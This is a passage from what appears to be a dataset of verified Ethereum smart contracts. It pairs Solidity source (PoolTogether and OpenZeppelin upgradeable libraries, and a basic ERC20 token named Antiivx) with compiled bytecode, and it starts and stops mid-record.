already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } /** Copyright 2020 PoolTogether Inc. This file is part of PoolTogether. PoolTogether is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation under version 3 of the License. PoolTogether is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PoolTogether. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.0 <0.8.0; import "./external/openzeppelin/OpenZeppelinSafeMath_V3_3_0.sol"; /** * @author Brendan Asselstine * @notice Provides basic fixed point math calculations. * * This library calculates integer fractions by scaling values by 1e18 then performing standard integer math. */ library FixedPoint { using OpenZeppelinSafeMath_V3_3_0 for uint256; // The scale to use for fixed point numbers. Same as Ether for simplicity. uint256 internal constant SCALE = 1e18; /** * Calculates a Fixed18 mantissa given the numerator and denominator * * The mantissa = (numerator * 1e18) / denominator * * @param numerator The mantissa numerator * @param denominator The mantissa denominator * @return The mantissa of the fraction */ function calculateMantissa(uint256 numerator, uint256 denominator) internal pure returns (uint256) { uint256 mantissa = numerator.mul(SCALE); mantissa = mantissa.div(denominator); return mantissa; } /** * Multiplies a Fixed18 number by an integer. * * @param b The whole integer to multiply * @param mantissa The Fixed18 number * @return An integer that is the result of multiplying the params. */ function multiplyUintByMantissa(uint256 b, uint256 mantissa) internal pure returns (uint256) { uint256 result = mantissa.mul(b); result = result.div(SCALE); return result; } /** * Divides an integer by a fixed point 18 mantissa * * @param dividend The integer to divide * @param mantissa The fixed point 18 number to serve as the divisor * @return An integer that is the result of dividing an integer by a fixed point 18 mantissa */ function divideUintByMantissa(uint256 dividend, uint256 mantissa) internal pure returns (uint256) { uint256 result = SCALE.mul(dividend); result = result.div(mantissa); return result; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; library ExtendedSafeCast { /** * @dev Converts an unsigned uint256 into a unsigned uint112. * * Requirements: * * - input must be less than or equal to maxUint112. */ function toUint112(uint256 value) internal pure returns (uint112) { require(value < 2**112, "SafeCast: value doesn't fit in an uint112"); return uint112(value); } /** * @dev Converts an unsigned uint256 into a unsigned uint96. * * Requirements: * * - input must be less than or equal to maxUint96. */ function toUint96(uint256 value) internal pure returns (uint96) { require(value < 2**96, "SafeCast: value doesn't fit in an uint96"); return uint96(value); } } pragma solidity ^0.6.4; import "./TokenListenerInterface.sol"; import "./TokenListenerLibrary.sol"; import "../Constants.sol"; abstract contract TokenListener is TokenListenerInterface { function supportsInterface(bytes4 interfaceId) external override view returns (bool) { return ( interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || interfaceId == TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER ); } } // SPDX-License-Identifier: MIT // NOTE: Copied from OpenZeppelin Contracts version 3.3.0 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library OpenZeppelinSafeMath_V3_3_0 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /// @title An interface that allows a contract to listen to token mint, transfer and burn events. interface TokenListenerInterface is IERC165Upgradeable { /// @notice Called when tokens are minted. /// @param to The address of the receiver of the minted tokens. /// @param amount The amount of tokens being minted /// @param controlledToken The address of the token that is being minted /// @param referrer The address that referred the minting. function beforeTokenMint(address to, uint256 amount, address controlledToken, address referrer) external; /// @notice Called when tokens are transferred or burned. /// @param from The address of the sender of the token transfer /// @param to The address of the receiver of the token transfer. Will be the zero address if burning. /// @param amount The amount of tokens transferred /// @param controlledToken The address of the token that was transferred function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external; } pragma solidity ^0.6.12; library TokenListenerLibrary { /* * bytes4(keccak256('beforeTokenMint(address,uint256,address,address)')) == 0x4d7f3db0 * bytes4(keccak256('beforeTokenTransfer(address,address,uint256,address)')) == 0xb2210957 * * => 0x4d7f3db0 ^ 0xb2210957 == 0xff5e34e7 */ bytes4 public constant ERC165_INTERFACE_ID_TOKEN_LISTENER = 0xff5e34e7; } pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC1820RegistryUpgradeable.sol"; library Constants { IERC1820RegistryUpgradeable public constant REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); // keccak256("ERC777TokensSender") bytes32 public constant TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 public constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC")); bytes32 public constant ACCEPT_MAGIC = 0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4; bytes4 public constant ERC165_INTERFACE_ID_ERC165 = 0x01ffc9a7; bytes4 public constant ERC165_INTERFACE_ID_ERC721 = 0x80ac58cd; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820RegistryUpgradeable { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80639f678cca116100a2578063ca5baafc11610071578063ca5baafc14610318578063d9772a2514610335578063e318613e14610356578063efa9a1ad1461035e578063f2fde38b1461036657610116565b80639f678cca14610293578063b22109571461029b578063b6b55f25146102d7578063c96f14b8146102f457610116565b80631e83409a116100e95780631e83409a146101fd57806338d52e0f146102235780634d7f3db014610247578063715018a6146102835780638da5cb5b1461028b57610116565b806301ffc9a71461011b5780630ecc535f146101565780631794bb3c146101ab578063187f3334146101e3575b600080fd5b6101426004803603602081101561013157600080fd5b50356001600160e01b03191661038c565b604080519115158252519081900360200190f35b61017c6004803603602081101561016c57600080fd5b50356001600160a01b03166103c8565b60405180836001600160801b03168152602001826001600160801b031681526020019250505060405180910390f35b6101e1600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103ee565b005b6101eb61054c565b60408051918252519081900360200190f35b6101eb6004803603602081101561021357600080fd5b50356001600160a01b0316610552565b61022b6106ba565b604080516001600160a01b039092168252519081900360200190f35b6101e16004803603608081101561025d57600080fd5b506001600160a01b038135811691602081013591604082013581169160600135166106c9565b6101e16106f8565b61022b6107ac565b6101eb6107bc565b6101e1600480360360808110156102b157600080fd5b506001600160a01b03813581169160208101358216916040820135916060013516610a58565b6101e1600480360360208110156102ed57600080fd5b5035610a94565b6102fc610b5c565b604080516001600160701b039092168252519081900360200190f35b6101e16004803603602081101561032e57600080fd5b5035610b72565b61033d610c75565b6040805163ffffffff9092168252519081900360200190f35b6102fc610c88565b61022b610c97565b6101e16004803603602081101561037c57600080fd5b50356001600160a01b0316610ca6565b60006001600160e01b031982166301ffc9a760e01b14806103c057506001600160e01b03198216600162a1cb1960e01b0319145b90505b919050565b6069602052600090815260409020546001600160801b0380821691600160801b90041682565b600054610100900460ff16806104075750610407610db1565b80610415575060005460ff16155b6104505760405162461bcd60e51b815260040180806020018281038252602e81526020018061155b602e913960400191505060405180910390fd5b600054610100900460ff1615801561047b576000805460ff1961ff0019909116610100171660011790555b610483610db7565b61048b610e69565b6068805463ffffffff92909216600160e01b026001600160e01b03909216919091179055606580546001600160a01b038087166001600160a01b03199283161790925560668054928616929091169190911790556104e882610b72565b60665460655460675460408051918252516001600160a01b039384169392909216917f10f27652c1015195ca7e6bc9b4c724cbf18e91c42117d92124703a3f49bb240f9181900360200190a38015610546576000805461ff00191690555b50505050565b60675481565b600061055c6107bc565b5061056682610e79565b506001600160a01b038216600090815260696020526040902080546001600160801b03808216909255606854600160801b909104909116906105c1906105bc90600160701b90046001600160701b03168361101e565b611069565b606880546001600160701b0392909216600160701b026dffffffffffffffffffffffffffff60701b199092169190911790556065546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561064957600080fd5b505af115801561065d573d6000803e3d6000fd5b505050506040513d602081101561067357600080fd5b50506040805182815290516001600160a01b038516917fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a919081900360200190a292915050565b6065546001600160a01b031681565b6066546001600160a01b0383811691161415610546576106e76107bc565b506106f184610e79565b5050505050565b6107006110b1565b6033546001600160a01b03908116911614610762576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b6033546001600160a01b03165b90565b6000806107c7610e69565b60685463ffffffff9182169250600160e01b9004168114156107ed5760009150506107b9565b606554604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561083857600080fd5b505afa15801561084c573d6000803e3d6000fd5b505050506040513d602081101561086257600080fd5b5051606854909150600090610888908390600160701b90046001600160701b031661101e565b6068549091506000906108ad90859063ffffffff600160e01b90910481169061101e16565b606854606654604080516318160ddd60e01b815290519394506001600160701b039092169260009283926001600160a01b0316916318160ddd91600480820192602092909190829003018186803b15801561090757600080fd5b505afa15801561091b573d6000803e3d6000fd5b505050506040513d602081101561093157600080fd5b5051905080158015906109445750600085115b156109b6576067546109579085906110b5565b915084821115610965578491505b6000610971838361110e565b905061097d8482611137565b6040805185815290519195507f7de59a92c9386255180c28ede4b61edb9b7b2ac96855ac634151489cef21bad6919081900360200190a1505b6109bf83611069565b606880546dffffffffffffffffffffffffffff19166001600160701b0392831617908190556109fa916105bc91600160701b90041684611137565b6068600e6101000a8154816001600160701b0302191690836001600160701b03160217905550610a2987611191565b6068805463ffffffff92909216600160e01b026001600160e01b03909216919091179055509550505050505090565b6066546001600160a01b038281169116148015610a7d57506001600160a01b03841615155b1561054657610a8a6107bc565b506106e783610e79565b610a9c6107bc565b50606554604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610af757600080fd5b505af1158015610b0b573d6000803e3d6000fd5b505050506040513d6020811015610b2157600080fd5b505060408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a250565b606854600160701b90046001600160701b031681565b610b7a6110b1565b6033546001600160a01b03908116911614610bdc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610c31576040805162461bcd60e51b815260206004820152601c60248201527f546f6b656e4661756365742f64726970526174652d67742d7a65726f00000000604482015290519081900360640190fd5b610c396107bc565b5060678190556040805182815290517f3d38e7cd2e029035006f9977a727c8724cd41dffb6d2a40d9f66bd4c26836a329181900360200190a150565b606854600160e01b900463ffffffff1681565b6068546001600160701b031681565b6066546001600160a01b031681565b610cae6110b1565b6033546001600160a01b03908116911614610d10576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610d555760405162461bcd60e51b815260040180806020018281038252602681526020018061150e6026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b303b1590565b600054610100900460ff1680610dd05750610dd0610db1565b80610dde575060005460ff16155b610e195760405162461bcd60e51b815260040180806020018281038252602e81526020018061155b602e913960400191505060405180910390fd5b600054610100900460ff16158015610e44576000805460ff1961ff0019909116610100171660011790555b610e4c6111d6565b610e54611276565b8015610e66576000805461ff00191690555b50565b6000610e7442611191565b905090565b6001600160a01b038116600090815260696020526040812080546068546001600160701b03166001600160801b039091161415610eba5760009150506103c3565b8054606854600091610ede916001600160701b0316906001600160801b031661101e565b606654604080516370a0823160e01b81526001600160a01b038881166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b158015610f3157600080fd5b505afa158015610f45573d6000803e3d6000fd5b505050506040513d6020811015610f5b57600080fd5b505190506000610f73610f6e838561136f565b611390565b604080518082019091526068546001600160701b031681528554919250906020820190610fb890610f6e90600160801b90046001600160801b03908116908616611137565b6001600160801b039081169091526001600160a01b03881660009081526069602090815260409091208351815494909201518316600160801b029183166fffffffffffffffffffffffffffffffff19909416939093179091161790559350505050919050565b600061106083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d4565b90505b92915050565b6000600160701b82106110ad5760405162461bcd60e51b81526004018080602001828103825260298152602001806115aa6029913960400191505060405180910390fd5b5090565b3390565b6000826110c457506000611063565b828202828482816110d157fe5b04146110605760405162461bcd60e51b81526004018080602001828103825260218152602001806115896021913960400191505060405180910390fd5b60008061112384670de0b6b3a76400006110b5565b905061112f818461146b565b949350505050565b600082820183811015611060576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600064010000000082106110ad5760405162461bcd60e51b81526004018080602001828103825260268152602001806115d36026913960400191505060405180910390fd5b600054610100900460ff16806111ef57506111ef610db1565b806111fd575060005460ff16155b6112385760405162461bcd60e51b815260040180806020018281038252602e81526020018061155b602e913960400191505060405180910390fd5b600054610100900460ff16158015610e54576000805460ff1961ff0019909116610100171660011790558015610e66576000805461ff001916905550565b600054610100900460ff168061128f575061128f610db1565b8061129d575060005460ff16155b6112d85760405162461bcd60e51b815260040180806020018281038252602e81526020018061155b602e913960400191505060405180910390fd5b600054610100900460ff16158015611303576000805460ff1961ff0019909116610100171660011790555b600061130d6110b1565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610e66576000805461ff001916905550565b60008061137c83856110b5565b905061112f81670de0b6b3a764000061146b565b6000600160801b82106110ad5760405162461bcd60e51b81526004018080602001828103825260278152602001806115346027913960400191505060405180910390fd5b600081848411156114635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611428578181015183820152602001611410565b50505050905090810190601f1680156114555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600061106083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114f75760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611428578181015183820152602001611410565b50600083858161150357fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737353616665436173743a2076616c756520646f65736e27742066697420696e203132382062697473496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7753616665436173743a2076616c756520646f65736e27742066697420696e20616e2075696e7431313253616665436173743a2076616c756520646f65736e27742066697420696e2033322062697473a26469706673582212203ccebbd3167cc6a19921f533931c5934c3eedc92caf2531686bd7830b2f04d5664736f6c634300060c0033
[ 16, 9, 12 ]
0xf29208c55eff15a01ff64e7baf2f7e974d792122
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract AntiivxToken is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Antiivx"; symbol = "ANTI"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae57